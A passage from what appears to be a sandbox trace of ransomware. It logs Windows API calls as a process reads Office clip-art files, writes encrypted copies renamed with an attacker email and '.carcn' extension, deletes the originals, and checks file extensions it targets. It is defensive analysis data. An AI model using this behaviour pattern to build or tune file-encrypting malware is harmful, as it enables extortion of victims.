Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0257.884] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3026) returned 1 [0257.885] CloseHandle (hObject=0x43c) returned 1 [0257.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0258.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0258.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0258.577] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.577] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0260.132] GetLastError () returned 0x0 [0260.132] ReadFile (in: hFile=0x4b8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0260.155] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0260.156] ReadFile (in: hFile=0x4b8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.156] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.156] SetEndOfFile (hFile=0x4c0) returned 1 [0260.156] CloseHandle (hObject=0x4c0) returned 1 [0260.157] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.157] SetEndOfFile (hFile=0x4b8) returned 1 [0260.161] CloseHandle (hObject=0x4b8) returned 1 [0260.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0260.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0260.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.162] lstrlenW (lpString=".doc") returned 4 [0260.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.162] lstrlenW (lpString=".docx") returned 5 [0260.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.162] lstrlenW (lpString=".pdf") returned 4 [0260.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.162] lstrlenW (lpString=".xls") returned 4 [0260.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.162] lstrlenW (lpString=".xlsx") returned 5 [0260.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.162] lstrlenW (lpString=".ppt") returned 4 [0260.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.162] lstrlenW (lpString=".zip") returned 4 [0260.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.162] lstrlenW (lpString=".rar") returned 4 [0260.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.162] lstrlenW (lpString=".bz2") returned 4 [0260.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.162] lstrlenW (lpString=".7z") returned 3 [0260.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.162] lstrlenW (lpString=".dbf") returned 4 [0260.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.163] lstrlenW (lpString=".1cd") returned 4 [0260.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.163] lstrlenW (lpString=".jpg") returned 4 [0260.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.163] lstrlenW (lpString=".doc") returned 4 [0260.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.163] lstrlenW (lpString=".docx") returned 5 [0260.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.163] lstrlenW (lpString=".pdf") returned 4 [0260.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.163] lstrlenW (lpString=".xls") returned 4 [0260.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.163] lstrlenW (lpString=".xlsx") returned 5 [0260.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.163] lstrlenW (lpString=".ppt") returned 4 [0260.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.163] lstrlenW (lpString=".zip") returned 4 [0260.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.163] lstrlenW (lpString=".rar") returned 4 [0260.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.164] lstrlenW (lpString=".bz2") returned 4 [0260.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.164] lstrlenW (lpString=".7z") returned 3 [0260.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.164] lstrlenW (lpString=".dbf") returned 4 [0260.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.164] lstrlenW (lpString=".1cd") returned 4 [0260.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0260.164] lstrlenW (lpString=".jpg") returned 4 [0260.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.164] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0260.164] lstrlenW (lpString="AN00914_.WMF") returned 12 [0260.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0260.166] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=10832) returned 1 [0260.166] CloseHandle (hObject=0x4b8) returned 1 [0260.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0260.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0260.166] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.166] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0260.167] GetLastError () returned 0x0 [0260.167] ReadFile (in: hFile=0x4b8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2a50, lpOverlapped=0x0) returned 1 [0260.359] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0260.361] ReadFile (in: hFile=0x4b8, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.361] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.361] SetEndOfFile (hFile=0x4c0) returned 1 [0260.361] CloseHandle (hObject=0x4c0) returned 1 [0260.364] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.364] SetEndOfFile (hFile=0x4b8) returned 1 [0260.513] CloseHandle (hObject=0x4b8) returned 1 [0260.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0260.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0260.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.525] lstrlenW (lpString=".doc") returned 4 [0260.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.525] lstrlenW (lpString=".docx") returned 5 [0260.525] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.525] lstrlenW (lpString=".pdf") returned 4 [0260.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.525] lstrlenW (lpString=".xls") returned 4 [0260.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.525] lstrlenW (lpString=".xlsx") returned 5 [0260.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.526] lstrlenW (lpString=".ppt") returned 4 [0260.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.526] lstrlenW (lpString=".zip") returned 4 [0260.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.526] lstrlenW (lpString=".rar") returned 4 [0260.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.526] lstrlenW (lpString=".bz2") returned 4 [0260.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.526] lstrlenW (lpString=".7z") returned 3 [0260.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.526] lstrlenW (lpString=".dbf") returned 4 [0260.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.526] lstrlenW (lpString=".1cd") returned 4 [0260.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.526] lstrlenW (lpString=".jpg") returned 4 [0260.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.527] lstrlenW (lpString=".doc") returned 4 [0260.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.527] lstrlenW (lpString=".docx") returned 5 [0260.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.527] lstrlenW (lpString=".pdf") returned 4 [0260.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.527] lstrlenW (lpString=".xls") returned 4 [0260.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.527] lstrlenW (lpString=".xlsx") returned 5 [0260.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.527] lstrlenW (lpString=".ppt") returned 4 [0260.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.527] lstrlenW (lpString=".zip") returned 4 [0260.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.527] lstrlenW (lpString=".rar") returned 4 [0260.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.527] lstrlenW (lpString=".bz2") returned 4 [0260.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.527] lstrlenW (lpString=".7z") returned 3 [0260.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.527] lstrlenW (lpString=".dbf") returned 4 [0260.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.528] lstrlenW (lpString=".1cd") returned 4 [0260.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0260.528] lstrlenW (lpString=".jpg") returned 4 [0260.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.528] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0260.528] lstrlenW (lpString="AN01039_.WMF") returned 12 [0260.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0260.529] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3344) returned 1 [0260.529] CloseHandle (hObject=0x33c) returned 1 [0260.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0260.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0260.530] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.530] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0260.531] GetLastError () returned 0x0 [0260.531] ReadFile (in: hFile=0x33c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xd10, lpOverlapped=0x0) returned 1 [0260.599] WriteFile (in: hFile=0x4b8, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xd20, lpOverlapped=0x0) returned 1 [0260.600] ReadFile (in: hFile=0x33c, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.600] WriteFile (in: hFile=0x4b8, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.600] SetEndOfFile (hFile=0x4b8) returned 1 [0260.601] CloseHandle (hObject=0x4b8) returned 1 [0260.604] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.604] SetEndOfFile (hFile=0x33c) returned 1 [0260.607] CloseHandle (hObject=0x33c) returned 1 [0260.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0260.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0260.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.763] lstrlenW (lpString=".doc") returned 4 [0260.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.763] lstrlenW (lpString=".docx") returned 5 [0260.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.763] lstrlenW (lpString=".pdf") returned 4 [0260.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.763] lstrlenW (lpString=".xls") returned 4 [0260.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.763] lstrlenW (lpString=".xlsx") returned 5 [0260.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.763] lstrlenW (lpString=".ppt") returned 4 [0260.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.763] lstrlenW (lpString=".zip") returned 4 [0260.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.763] lstrlenW (lpString=".rar") returned 4 [0260.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString=".bz2") returned 4 [0260.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString=".7z") returned 3 [0260.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.764] lstrlenW (lpString=".dbf") returned 4 [0260.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.764] lstrlenW (lpString=".1cd") returned 4 [0260.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.764] lstrlenW (lpString=".jpg") returned 4 [0260.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.764] lstrlenW (lpString=".doc") returned 4 [0260.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString=".docx") returned 5 [0260.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.764] lstrlenW (lpString=".pdf") returned 4 [0260.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString=".xls") returned 4 [0260.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.764] lstrlenW (lpString=".xlsx") returned 5 [0260.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.764] lstrlenW (lpString=".ppt") returned 4 [0260.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.764] lstrlenW (lpString=".zip") returned 4 [0260.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.765] lstrlenW (lpString=".rar") returned 4 [0260.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.765] lstrlenW (lpString=".bz2") returned 4 [0260.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.765] lstrlenW (lpString=".7z") returned 3 [0260.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.765] lstrlenW (lpString=".dbf") returned 4 [0260.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.765] lstrlenW (lpString=".1cd") returned 4 [0260.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68 [0260.765] lstrlenW (lpString=".jpg") returned 4 [0260.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.765] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0260.765] lstrlenW (lpString="AN01044_.WMF") returned 12 [0260.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 